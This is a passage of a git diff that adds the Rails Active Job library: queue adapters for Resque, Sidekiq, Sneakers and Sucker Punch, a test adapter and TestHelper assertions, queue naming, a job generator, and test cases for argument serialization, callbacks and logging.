+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/resque_adapter.rb b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
new file mode 100644
index 0000000000..88c6b48fef
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/resque_adapter.rb
@@ -0,0 +1,52 @@
+require 'resque'
+require 'active_support/core_ext/enumerable'
+require 'active_support/core_ext/array/access'
+
+begin
+  require 'resque-scheduler'
+rescue LoadError
+  begin
+    require 'resque_scheduler'
+  rescue LoadError
+    false
+  end
+end
+
+module ActiveJob
+  module QueueAdapters
+    # == Resque adapter for Active Job
+    #
+    # Resque (pronounced like "rescue") is a Redis-backed library for creating
+    # background jobs, placing those jobs on multiple queues, and processing
+    # them later.
+    #
+    # Read more about Resque {here}[https://github.com/resque/resque].
+    #
+    # To use Resque set the queue_adapter config to +:resque+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :resque
+    class ResqueAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          Resque.enqueue_to job.queue_name, JobWrapper, job.serialize
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          unless Resque.respond_to?(:enqueue_at_with_queue)
+            raise NotImplementedError, "To be able to schedule jobs with Resque you need the " \
+              "resque-scheduler gem. Please add it to your Gemfile and run bundle install"
+          end
+          Resque.enqueue_at_with_queue job.queue_name, timestamp, JobWrapper, job.serialize
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        class << self
+          def perform(job_data)
+            Base.execute job_data
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
new file mode 100644
index 0000000000..21005fc728
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sidekiq_adapter.rb
@@ -0,0 +1,45 @@
+require 'sidekiq'
+
+module ActiveJob
+  module QueueAdapters
+    # == Sidekiq adapter for Active Job
+    #
+    # Simple, efficient background processing for Ruby. Sidekiq uses threads to
+    # handle many jobs at the same time in the same process. It does not
+    # require Rails but will integrate tightly with it to make background
+    # processing dead simple.
+    #
+    # Read more about Sidekiq {here}[http://sidekiq.org].
+    #
+    # To use Sidekiq set the queue_adapter config to +:sidekiq+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sidekiq
+    class SidekiqAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          #Sidekiq::Client does not support symbols as keys
+          Sidekiq::Client.push \
+            'class' => JobWrapper,
+            'queue' => job.queue_name,
+            'args'  => [ job.serialize ]
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          Sidekiq::Client.push \
+            'class' => JobWrapper,
+            'queue' => job.queue_name,
+            'args'  => [ job.serialize ],
+            'at'    => timestamp
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        include Sidekiq::Worker
+
+        def perform(job_data)
+          Base.execute job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
new file mode 100644
index 0000000000..6d60a2f303
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sneakers_adapter.rb
@@ -0,0 +1,46 @@
+require 'sneakers'
+require 'thread'
+
+module ActiveJob
+  module QueueAdapters
+    # == Sneakers adapter for Active Job
+    #
+    # A high-performance RabbitMQ background processing framework for Ruby.
+    # Sneakers is being used in production for both I/O and CPU intensive
+    # workloads, and have achieved the goals of high-performance and
+    # 0-maintenance, as designed.
+    #
+    # Read more about Sneakers {here}[https://github.com/jondot/sneakers].
+    #
+    # To use Sneakers set the queue_adapter config to +:sneakers+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sneakers
+    class SneakersAdapter
+      @monitor = Monitor.new
+
+      class << self
+        def enqueue(job) #:nodoc:
+          @monitor.synchronize do
+            JobWrapper.from_queue job.queue_name
+            JobWrapper.enqueue ActiveSupport::JSON.encode(job.serialize)
+          end
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          raise NotImplementedError
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        include Sneakers::Worker
+        from_queue 'default'
+
+        def work(msg)
+          job_data = ActiveSupport::JSON.decode(msg)
+          Base.execute job_data
+          ack!
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
new file mode 100644
index 0000000000..be9e7fd03a
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/sucker_punch_adapter.rb
@@ -0,0 +1,40 @@
+require 'sucker_punch'
+
+module ActiveJob
+  module QueueAdapters
+    # == Sucker Punch adapter for Active Job
+    #
+    # Sucker Punch is a single-process Ruby asynchronous processing library.
+    # It's girl_friday and DSL sugar on top of Celluloid. With Celluloid's
+    # actor pattern, we can do asynchronous processing within a single process.
+    # This reduces costs of hosting on a service like Heroku along with the
+    # memory footprint of having to maintain additional jobs if hosting on
+    # a dedicated server. All queues can run within a single Rails/Sinatra
+    # process.
+    #
+    # Read more about Sucker Punch {here}[https://github.com/brandonhilkert/sucker_punch].
+    #
+    # To use Sucker Punch set the queue_adapter config to +:sucker_punch+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :sucker_punch
+    class SuckerPunchAdapter
+      class << self
+        def enqueue(job) #:nodoc:
+          JobWrapper.new.async.perform job.serialize
+        end
+
+        def enqueue_at(job, timestamp) #:nodoc:
+          raise NotImplementedError
+        end
+      end
+
+      class JobWrapper #:nodoc:
+        include SuckerPunch::Job
+
+        def perform(job_data)
+          Base.execute job_data
+        end
+      end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_adapters/test_adapter.rb b/activejob/lib/active_job/queue_adapters/test_adapter.rb
new file mode 100644
index 0000000000..c9e2bdca27
--- /dev/null
+++ b/activejob/lib/active_job/queue_adapters/test_adapter.rb
@@ -0,0 +1,62 @@
+module ActiveJob
+  module QueueAdapters
+    # == Test adapter for Active Job
+    #
+    # The test adapter should be used only in testing. Along with
+    # <tt>ActiveJob::TestCase</tt> and <tt>ActiveJob::TestHelper</tt>
+    # it makes a great tool to test your Rails application.
+    #
+    # To use the test adapter set queue_adapter config to +:test+.
+    #
+    #   Rails.application.config.active_job.queue_adapter = :test
+    class TestAdapter
+      delegate :name, to: :class
+      attr_accessor(:perform_enqueued_jobs, :perform_enqueued_at_jobs, :filter)
+      attr_writer(:enqueued_jobs, :performed_jobs)
+
+      def initialize
+        self.perform_enqueued_jobs = false
+        self.perform_enqueued_at_jobs = false
+      end
+
+      # Provides a store of all the enqueued jobs with the TestAdapter so you can check them.
+      def enqueued_jobs
+        @enqueued_jobs ||= []
+      end
+
+      # Provides a store of all the performed jobs with the TestAdapter so you can check them.
+      def performed_jobs
+        @performed_jobs ||= []
+      end
+
+      def enqueue(job) #:nodoc:
+        return if filtered?(job)
+
+        job_data = { job: job.class, args: job.serialize['arguments'], queue: job.queue_name }
+        enqueue_or_perform(perform_enqueued_jobs, job, job_data)
+      end
+
+      def enqueue_at(job, timestamp) #:nodoc:
+        return if filtered?(job)
+
+        job_data = { job: job.class, args: job.serialize['arguments'], queue: job.queue_name, at: timestamp }
+        enqueue_or_perform(perform_enqueued_at_jobs, job, job_data)
+      end
+
+      private
+
+        def enqueue_or_perform(perform, job, job_data)
+          if perform
+            performed_jobs << job_data
+            Base.execute job.serialize
+          else
+            enqueued_jobs << job_data
+          end
+        end
+
+        def filtered?(job)
+          filter && !Array(filter).include?(job.class)
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/queue_name.rb b/activejob/lib/active_job/queue_name.rb
new file mode 100644
index 0000000000..9ae0345120
--- /dev/null
+++ b/activejob/lib/active_job/queue_name.rb
@@ -0,0 +1,51 @@
+module ActiveJob
+  module QueueName
+    extend ActiveSupport::Concern
+
+    # Includes the ability to override the default queue name and prefix.
+    module ClassMethods
+      mattr_accessor(:queue_name_prefix)
+      mattr_accessor(:default_queue_name) { "default" }
+
+      # Specifies the name of the queue to process the job on.
+      #
+      #   class PublishToFeedJob < ActiveJob::Base
+      #     queue_as :feeds
+      #
+      #     def perform(post)
+      #       post.to_feed!
+      #     end
+      #   end
+      def queue_as(part_name=nil, &block)
+        if block_given?
+          self.queue_name = block
+        else
+          self.queue_name = queue_name_from_part(part_name)
+        end
+      end
+
+      def queue_name_from_part(part_name) #:nodoc:
+        queue_name = part_name || default_queue_name
+        name_parts = [queue_name_prefix.presence, queue_name]
+        name_parts.compact.join(queue_name_delimiter)
+      end
+    end
+
+    included do
+      class_attribute :queue_name, instance_accessor: false
+      class_attribute :queue_name_delimiter, instance_accessor: false
+
+      self.queue_name = default_queue_name
+      self.queue_name_delimiter = '_' # set default delimiter to '_'
+    end
+
+    # Returns the name of the queue the job will be run on
+    def queue_name
+      if @queue_name.is_a?(Proc)
+        @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name))
+      end
+      @queue_name
+    end
+
+  end
+end
diff --git a/activejob/lib/active_job/railtie.rb b/activejob/lib/active_job/railtie.rb
new file mode 100644
index 0000000000..6538ac1b30
--- /dev/null
+++ b/activejob/lib/active_job/railtie.rb
@@ -0,0 +1,23 @@
+require 'global_id/railtie'
+require 'active_job'
+
+module ActiveJob
+  # = Active Job Railtie
+  class Railtie < Rails::Railtie # :nodoc:
+    config.active_job = ActiveSupport::OrderedOptions.new
+
+    initializer 'active_job.logger' do
+      ActiveSupport.on_load(:active_job) { self.logger = ::Rails.logger }
+    end
+
+    initializer "active_job.set_configs" do |app|
+      options = app.config.active_job
+      options.queue_adapter ||= :inline
+
+      ActiveSupport.on_load(:active_job) do
+        options.each { |k,v| send("#{k}=", v) }
+      end
+    end
+
+  end
+end
diff --git a/activejob/lib/active_job/test_case.rb b/activejob/lib/active_job/test_case.rb
new file mode 100644
index 0000000000..d894a7b5cd
--- /dev/null
+++ b/activejob/lib/active_job/test_case.rb
@@ -0,0 +1,7 @@
+require 'active_support/test_case'
+
+module ActiveJob
+  class TestCase < ActiveSupport::TestCase
+    include ActiveJob::TestHelper
+  end
+end
diff --git a/activejob/lib/active_job/test_helper.rb b/activejob/lib/active_job/test_helper.rb
new file mode 100644
index 0000000000..25bc99a4f8
--- /dev/null
+++ b/activejob/lib/active_job/test_helper.rb
@@ -0,0 +1,299 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActiveJob
+  # Provides helper methods for testing Active Job
+  module TestHelper
+    extend ActiveSupport::Concern
+
+    included do
+      def before_setup
+        @old_queue_adapter  = queue_adapter
+        ActiveJob::Base.queue_adapter = :test
+        clear_enqueued_jobs
+        clear_performed_jobs
+        super
+      end
+
+      def after_teardown
+        super
+        ActiveJob::Base.queue_adapter = @old_queue_adapter
+      end
+
+      # Asserts that the number of enqueued jobs matches the given number.
+      #
+      #   def test_jobs
+      #     assert_enqueued_jobs 0
+      #     HelloJob.perform_later('david')
+      #     assert_enqueued_jobs 1
+      #     HelloJob.perform_later('abdelkader')
+      #     assert_enqueued_jobs 2
+      #   end
+      #
+      # If a block is passed, that block should cause the specified number of
+      # jobs to be enqueued.
+      #
+      #   def test_jobs_again
+      #     assert_enqueued_jobs 1 do
+      #       HelloJob.perform_later('cristian')
+      #     end
+      #
+      #     assert_enqueued_jobs 2 do
+      #       HelloJob.perform_later('aaron')
+      #       HelloJob.perform_later('rafael')
+      #     end
+      #   end
+      #
+      # The number of times a specific job is enqueued can be asserted.
+      #
+      #   def test_logging_job
+      #     assert_enqueued_jobs 2, only: LoggingJob do
+      #       LoggingJob.perform_later
+      #       HelloJob.perform_later('jeremy')
+      #     end
+      #   end
+      def assert_enqueued_jobs(number, only: nil)
+        if block_given?
+          original_count = enqueued_jobs_size(only: only)
+          yield
+          new_count = enqueued_jobs_size(only: only)
+          assert_equal original_count + number, new_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued"
+        else
+          actual_count = enqueued_jobs_size(only: only)
+          assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued"
+        end
+      end
+
+      # Asserts that no jobs have been enqueued.
+      #
+      #   def test_jobs
+      #     assert_no_enqueued_jobs
+      #     HelloJob.perform_later('jeremy')
+      #     assert_enqueued_jobs 1
+      #   end
+      #
+      # If a block is passed, that block should not cause any job to be enqueued.
+      #
+      #   def test_jobs_again
+      #     assert_no_enqueued_jobs do
+      #       # No job should be enqueued from this block
+      #     end
+      #   end
+      #
+      # It can be asserted that no jobs of a specific kind are enqueued:
+      #
+      #   def test_no_logging
+      #     assert_no_enqueued_jobs only: LoggingJob do
+      #       HelloJob.perform_later('jeremy')
+      #     end
+      #   end
+      #
+      # Note: This assertion is simply a shortcut for:
+      #
+      #   assert_enqueued_jobs 0, &block
+      def assert_no_enqueued_jobs(only: nil, &block)
+        assert_enqueued_jobs 0, only: only, &block
+      end
+
+      # Asserts that the number of performed jobs matches the given number.
+      # If no block is passed, <tt>perform_enqueued_jobs</tt>
+      # must be called around the job call.
+      #
+      #   def test_jobs
+      #     assert_performed_jobs 0
+      #
+      #     perform_enqueued_jobs do
+      #       HelloJob.perform_later('xavier')
+      #     end
+      #     assert_performed_jobs 1
+      #
+      #     perform_enqueued_jobs do
+      #       HelloJob.perform_later('yves')
+      #       assert_performed_jobs 2
+      #     end
+      #   end
+      #
+      # If a block is passed, that block should cause the specified number of
+      # jobs to be performed.
+      #
+      #   def test_jobs_again
+      #     assert_performed_jobs 1 do
+      #       HelloJob.perform_later('robin')
+      #     end
+      #
+      #     assert_performed_jobs 2 do
+      #       HelloJob.perform_later('carlos')
+      #       HelloJob.perform_later('sean')
+      #     end
+      #   end
+      #
+      # The block form supports filtering. If the :only option is specified,
+      # then only the listed job(s) will be performed.
+      #
+      #     def test_hello_job
+      #       assert_performed_jobs 1, only: HelloJob do
+      #         HelloJob.perform_later('jeremy')
+      #         LoggingJob.perform_later
+      #       end
+      #     end
+      #
+      # An array may also be specified, to support testing multiple jobs.
+      #
+      #     def test_hello_and_logging_jobs
+      #       assert_nothing_raised do
+      #         assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+      #           HelloJob.perform_later('jeremy')
+      #           LoggingJob.perform_later('stewie')
+      #           RescueJob.perform_later('david')
+      #         end
+      #       end
+      #     end
+      def assert_performed_jobs(number, only: nil)
+        if block_given?
+          original_count = performed_jobs.size
+          perform_enqueued_jobs(only: only) { yield }
+          new_count = performed_jobs.size
+          assert_equal original_count + number, new_count,
+                       "#{number} jobs expected, but #{new_count - original_count} were performed"
+        else
+          performed_jobs_size = performed_jobs.size
+          assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
+        end
+      end
+
+      # Asserts that no jobs have been performed.
+      #
+      #   def test_jobs
+      #     assert_no_performed_jobs
+      #
+      #     perform_enqueued_jobs do
+      #       HelloJob.perform_later('matthew')
+      #       assert_performed_jobs 1
+      #     end
+      #   end
+      #
+      # If a block is passed, that block should not cause any job to be performed.
+      #
+      #   def test_jobs_again
+      #     assert_no_performed_jobs do
+      #       # No job should be performed from this block
+      #     end
+      #   end
+      #
+      # The block form supports filtering. If the :only option is specified,
+      # then only the listed job(s) will be performed.
+      #
+      #     def test_hello_job
+      #       assert_performed_jobs 1, only: HelloJob do
+      #         HelloJob.perform_later('jeremy')
+      #         LoggingJob.perform_later
+      #       end
+      #     end
+      #
+      # An array may also be specified, to support testing multiple jobs.
+      #
+      #     def test_hello_and_logging_jobs
+      #       assert_nothing_raised do
+      #         assert_performed_jobs 2, only: [HelloJob, LoggingJob] do
+      #           HelloJob.perform_later('jeremy')
+      #           LoggingJob.perform_later('stewie')
+      #           RescueJob.perform_later('david')
+      #         end
+      #       end
+      #     end
+      #
+      # Note: This assertion is simply a shortcut for:
+      #
+      #   assert_performed_jobs 0, &block
+      def assert_no_performed_jobs(only: nil, &block)
+        assert_performed_jobs 0, only: only, &block
+      end
+
+      # Asserts that the job passed in the block has been enqueued with the given arguments.
+      #
+      #   def test_assert_enqueued_with
+      #     assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do
+      #       MyJob.perform_later(1,2,3)
+      #     end
+      #   end
+      def assert_enqueued_with(args = {}, &_block)
+        original_enqueued_jobs = enqueued_jobs.dup
+        clear_enqueued_jobs
+        args.assert_valid_keys(:job, :args, :at, :queue)
+        serialized_args = serialize_args_for_assertion(args)
+        yield
+        matching_job = enqueued_jobs.any? do |job|
+          serialized_args.all? { |key, value| value == job[key] }
+        end
+        assert matching_job, "No enqueued job found with #{args}"
+      ensure
+        queue_adapter.enqueued_jobs = original_enqueued_jobs + enqueued_jobs
+      end
+
+      # Asserts that the job passed in the block has been performed with the given arguments.
+      #
+      #   def test_assert_performed_with
+      #     assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do
+      #       MyJob.perform_later(1,2,3)
+      #     end
+      #   end
+      def assert_performed_with(args = {}, &_block)
+        original_performed_jobs = performed_jobs.dup
+        clear_performed_jobs
+        args.assert_valid_keys(:job, :args, :at, :queue)
+        serialized_args = serialize_args_for_assertion(args)
+        perform_enqueued_jobs { yield }
+        matching_job = performed_jobs.any? do |job|
+          serialized_args.all? { |key, value| value == job[key] }
+        end
+        assert matching_job, "No performed job found with #{args}"
+      ensure
+        queue_adapter.performed_jobs = original_performed_jobs + performed_jobs
+      end
+
+      def perform_enqueued_jobs(only: nil)
+        @old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
+        @old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
+        queue_adapter.perform_enqueued_jobs = true
+        queue_adapter.perform_enqueued_at_jobs = true
+        queue_adapter.filter = only
+        yield
+      ensure
+        queue_adapter.perform_enqueued_jobs = @old_perform_enqueued_jobs
+        queue_adapter.perform_enqueued_at_jobs = @old_perform_enqueued_at_jobs
+      end
+
+      def queue_adapter
+        ActiveJob::Base.queue_adapter
+      end
+
+      delegate :enqueued_jobs, :enqueued_jobs=,
+               :performed_jobs, :performed_jobs=,
+               to: :queue_adapter
+
+      private
+        def clear_enqueued_jobs
+          enqueued_jobs.clear
+        end
+
+        def clear_performed_jobs
+          performed_jobs.clear
+        end
+
+        def enqueued_jobs_size(only: nil)
+          if only
+            enqueued_jobs.select { |job| job[:job] == only }.size
+          else
+            enqueued_jobs.size
+          end
+        end
+
+        def serialize_args_for_assertion(args)
+          serialized_args = args.dup
+          if job_args = serialized_args.delete(:args)
+            serialized_args[:args] = ActiveJob::Arguments.serialize(job_args)
+          end
+          serialized_args
+        end
+    end
+  end
+end
diff --git a/activejob/lib/active_job/version.rb b/activejob/lib/active_job/version.rb
new file mode 100644
index 0000000000..971ba9fe0c
--- /dev/null
+++ b/activejob/lib/active_job/version.rb
@@ -0,0 +1,8 @@
+require_relative 'gem_version'
+
+module ActiveJob
+  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  def self.version
+    gem_version
+  end
+end
diff --git a/activejob/lib/rails/generators/job/job_generator.rb b/activejob/lib/rails/generators/job/job_generator.rb
new file mode 100644
index 0000000000..979ffcb748
--- /dev/null
+++ b/activejob/lib/rails/generators/job/job_generator.rb
@@ -0,0 +1,24 @@
+require 'rails/generators/named_base'
+
+module Rails
+  module Generators # :nodoc:
+    class JobGenerator < Rails::Generators::NamedBase # :nodoc:
+      desc 'This generator creates an active job file at app/jobs'
+
+      class_option :queue, type: :string, default: 'default', desc: 'The queue name for the generated job'
+
+      check_class_collision suffix: 'Job'
+
+      hook_for :test_framework
+
+      def self.default_generator_root
+        File.dirname(__FILE__)
+      end
+
+      def create_job_file
+        template 'job.rb', File.join('app/jobs', class_path, "#{file_name}_job.rb")
+      end
+
+    end
+  end
+end
diff --git a/activejob/lib/rails/generators/job/templates/job.rb b/activejob/lib/rails/generators/job/templates/job.rb
new file mode 100644
index 0000000000..462c71d917
--- /dev/null
+++ b/activejob/lib/rails/generators/job/templates/job.rb
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class <%= class_name %>Job < ActiveJob::Base
+  queue_as :<%= options[:queue] %>
+
+  def perform(*args)
+    # Do something later
+  end
+end
+<% end -%>
diff --git a/activejob/test/adapters/backburner.rb b/activejob/test/adapters/backburner.rb
new file mode 100644
index 0000000000..65d05f850b
--- /dev/null
+++ b/activejob/test/adapters/backburner.rb
@@ -0,0 +1,3 @@
+require 'support/backburner/inline'
+
+ActiveJob::Base.queue_adapter = :backburner
\ No newline at end of file
diff --git a/activejob/test/adapters/delayed_job.rb b/activejob/test/adapters/delayed_job.rb
new file mode 100644
index 0000000000..afd9c9deb7
--- /dev/null
+++ b/activejob/test/adapters/delayed_job.rb
@@ -0,0 +1,7 @@
+ActiveJob::Base.queue_adapter = :delayed_job
+
+$LOAD_PATH << File.dirname(__FILE__) + "/../support/delayed_job"
+
+Delayed::Worker.delay_jobs = false
+Delayed::Worker.backend    = :test
+
diff --git a/activejob/test/adapters/inline.rb b/activejob/test/adapters/inline.rb
new file mode 100644
index 0000000000..e0092552c4
--- /dev/null
+++ b/activejob/test/adapters/inline.rb
@@ -0,0 +1 @@
+ActiveJob::Base.queue_adapter = :inline
\ No newline at end of file
diff --git a/activejob/test/adapters/qu.rb b/activejob/test/adapters/qu.rb
new file mode 100644
index 0000000000..7728c843b4
--- /dev/null
+++ b/activejob/test/adapters/qu.rb
@@ -0,0 +1,3 @@
+require 'qu-immediate'
+
+ActiveJob::Base.queue_adapter = :qu
diff --git a/activejob/test/adapters/que.rb b/activejob/test/adapters/que.rb
new file mode 100644
index 0000000000..e6abc57457
--- /dev/null
+++ b/activejob/test/adapters/que.rb
@@ -0,0 +1,4 @@
+require 'support/que/inline'
+
+ActiveJob::Base.queue_adapter = :que
+Que.mode = :sync
diff --git a/activejob/test/adapters/queue_classic.rb b/activejob/test/adapters/queue_classic.rb
new file mode 100644
index 0000000000..ad5ced3cc2
--- /dev/null
+++ b/activejob/test/adapters/queue_classic.rb
@@ -0,0 +1,2 @@
+require 'support/queue_classic/inline'
+ActiveJob::Base.queue_adapter = :queue_classic
diff --git a/activejob/test/adapters/resque.rb b/activejob/test/adapters/resque.rb
new file mode 100644
index 0000000000..af7080358d
--- /dev/null
+++ b/activejob/test/adapters/resque.rb
@@ -0,0 +1,2 @@
+ActiveJob::Base.queue_adapter = :resque
+Resque.inline = true
diff --git a/activejob/test/adapters/sidekiq.rb b/activejob/test/adapters/sidekiq.rb
new file mode 100644
index 0000000000..cd9d2034de
--- /dev/null
+++ b/activejob/test/adapters/sidekiq.rb
@@ -0,0 +1,2 @@
+require 'sidekiq/testing/inline'
+ActiveJob::Base.queue_adapter = :sidekiq
diff --git a/activejob/test/adapters/sneakers.rb b/activejob/test/adapters/sneakers.rb
new file mode 100644
index 0000000000..204166a700
--- /dev/null
+++ b/activejob/test/adapters/sneakers.rb
@@ -0,0 +1,2 @@
+require 'support/sneakers/inline'
+ActiveJob::Base.queue_adapter = :sneakers
diff --git a/activejob/test/adapters/sucker_punch.rb b/activejob/test/adapters/sucker_punch.rb
new file mode 100644
index 0000000000..d2d1712946
--- /dev/null
+++ b/activejob/test/adapters/sucker_punch.rb
@@ -0,0 +1,2 @@
+require 'sucker_punch/testing/inline'
+ActiveJob::Base.queue_adapter = :sucker_punch
diff --git a/activejob/test/adapters/test.rb b/activejob/test/adapters/test.rb
new file mode 100644
index 0000000000..7180b38a57
--- /dev/null
+++ b/activejob/test/adapters/test.rb
@@ -0,0 +1,3 @@
+ActiveJob::Base.queue_adapter = :test
+ActiveJob::Base.queue_adapter.perform_enqueued_jobs = true
+ActiveJob::Base.queue_adapter.perform_enqueued_at_jobs = true
diff --git a/activejob/test/cases/adapter_test.rb b/activejob/test/cases/adapter_test.rb
new file mode 100644
index 0000000000..6570c55a83
--- /dev/null
+++ b/activejob/test/cases/adapter_test.rb
@@ -0,0 +1,7 @@
+require 'helper'
+
+class AdapterTest < ActiveSupport::TestCase
+  test "should load #{ENV['AJADAPTER']} adapter" do
+    assert_equal "active_job/queue_adapters/#{ENV['AJADAPTER']}_adapter".classify, ActiveJob::Base.queue_adapter.name
+  end
+end
diff --git a/activejob/test/cases/argument_serialization_test.rb b/activejob/test/cases/argument_serialization_test.rb
new file mode 100644
index 0000000000..8b9b62190f
--- /dev/null
+++ b/activejob/test/cases/argument_serialization_test.rb
@@ -0,0 +1,103 @@
+require 'helper'
+require 'active_job/arguments'
+require 'models/person'
+require 'active_support/core_ext/hash/indifferent_access'
+require 'jobs/kwargs_job'
+
+class ArgumentSerializationTest < ActiveSupport::TestCase
+  setup do
+    @person = Person.find('5')
+  end
+
+  [ nil, 1, 1.0, 1_000_000_000_000_000_000_000,
+    'a', true, false,
+    [ 1, 'a' ],
+    { 'a' => 1 }
+  ].each do |arg|
+    test "serializes #{arg.class} verbatim" do
+      assert_arguments_unchanged arg
+    end
+  end
+
+  [ :a, Object.new, self, Person.find('5').to_gid ].each do |arg|
+    test "does not serialize #{arg.class}" do
+      assert_raises ActiveJob::SerializationError do
+        ActiveJob::Arguments.serialize [ arg ]
+      end
+
+      assert_raises ActiveJob::DeserializationError do
+        ActiveJob::Arguments.deserialize [ arg ]
+      end
+    end
+  end
+
+  test 'should convert records to Global IDs' do
+    assert_arguments_roundtrip [@person]
+  end
+
+  test 'should dive deep into arrays and hashes' do
+    assert_arguments_roundtrip [3, [@person]]
+    assert_arguments_roundtrip [{ 'a' => @person }]
+  end
+
+  test 'should maintain string and symbol keys' do
+    assert_arguments_roundtrip([a: 1, "b" => 2])
+  end
+
+  test 'should maintain hash with indifferent access' do
+    symbol_key = { a: 1 }
+    string_key = { 'a' => 1 }
+    indifferent_access = { a: 1 }.with_indifferent_access
+
+    assert_not_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([symbol_key]).first
+    assert_not_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([string_key]).first
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, perform_round_trip([indifferent_access]).first
+  end
+
+  test 'should disallow non-string/symbol hash keys' do
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ { 1 => 2 } ]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ { :a => [{ 2 => 3 }] } ]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ '_aj_globalid' => 1 ]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [ :_aj_globalid => 1 ]
+    end
+  end
+
+  test 'should not allow non-primitive objects' do
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [Object.new]
+    end
+
+    assert_raises ActiveJob::SerializationError do
+      ActiveJob::Arguments.serialize [1, [Object.new]]
+    end
+  end
+
+  test 'allows for keyword arguments' do
+    KwargsJob.perform_later(argument: 2)
+
+    assert_equal "Job with argument: 2", JobBuffer.last_value
+  end
+
+  private
+    def assert_arguments_unchanged(*args)
+      assert_arguments_roundtrip args
+    end
+
+    def assert_arguments_roundtrip(args)
+      assert_equal args, perform_round_trip(args)
+    end
+
+    def perform_round_trip(args)
+      ActiveJob::Arguments.deserialize(ActiveJob::Arguments.serialize(args))
+    end
+end
diff --git a/activejob/test/cases/callbacks_test.rb b/activejob/test/cases/callbacks_test.rb
new file mode 100644
index 0000000000..9af2380767
--- /dev/null
+++ b/activejob/test/cases/callbacks_test.rb
@@ -0,0 +1,23 @@
+require 'helper'
+require 'jobs/callback_job'
+
+require 'active_support/core_ext/object/inclusion'
+
+class CallbacksTest < ActiveSupport::TestCase
+  test 'perform callbacks' do
+    performed_callback_job = CallbackJob.new("A-JOB-ID")
+    performed_callback_job.perform_now
+    assert "CallbackJob ran before_perform".in? performed_callback_job.history
+    assert "CallbackJob ran after_perform".in? performed_callback_job.history
+    assert "CallbackJob ran around_perform_start".in? performed_callback_job.history
+    assert "CallbackJob ran around_perform_stop".in? performed_callback_job.history
+  end
+
+  test 'enqueue callbacks' do
+    enqueued_callback_job = CallbackJob.perform_later
+    assert "CallbackJob ran before_enqueue".in? enqueued_callback_job.history
+    assert "CallbackJob ran after_enqueue".in? enqueued_callback_job.history
+    assert "CallbackJob ran around_enqueue_start".in? enqueued_callback_job.history
+    assert "CallbackJob ran around_enqueue_stop".in? enqueued_callback_job.history
+  end
+end
diff --git a/activejob/test/cases/job_serialization_test.rb b/activejob/test/cases/job_serialization_test.rb
new file mode 100644
index 0000000000..db22783030
--- /dev/null
+++ b/activejob/test/cases/job_serialization_test.rb
@@ -0,0 +1,15 @@
+require 'helper'
+require 'jobs/gid_job'
+require 'models/person'
+
+class JobSerializationTest < ActiveSupport::TestCase
+  setup do
+    JobBuffer.clear
+    @person = Person.find(5)
+  end
+
+  test 'serialize job with gid' do
+    GidJob.perform_later @person
+    assert_equal "Person with ID: 5", JobBuffer.last_value
+  end
+end
diff --git a/activejob/test/cases/logging_test.rb b/activejob/test/cases/logging_test.rb
new file mode 100644
index 0000000000..64aae00441
--- /dev/null
+++ b/activejob/test/cases/logging_test.rb
@@ -0,0 +1,114 @@
+require 'helper'
+require "active_support/log_subscriber/test_helper"
+require 'active_support/core_ext/numeric/time'
+require 'jobs/hello_job'
+require 'jobs/logging_job'
+require 'jobs/nested_job'
+require 'models/person'
+
+class AdapterTest < ActiveSupport::TestCase
+  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Logger::Severity
+
+  class TestLogger < ActiveSupport::Logger
+    def initialize
+      @file = StringIO.new
+      super(@file)
+    end
+
+    def messages
+      @file.rewind
+      @file.read
+    end
+  end
+
+  def setup
+    super
+    JobBuffer.clear
+    @old_logger = ActiveJob::Base.logger
+    @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)
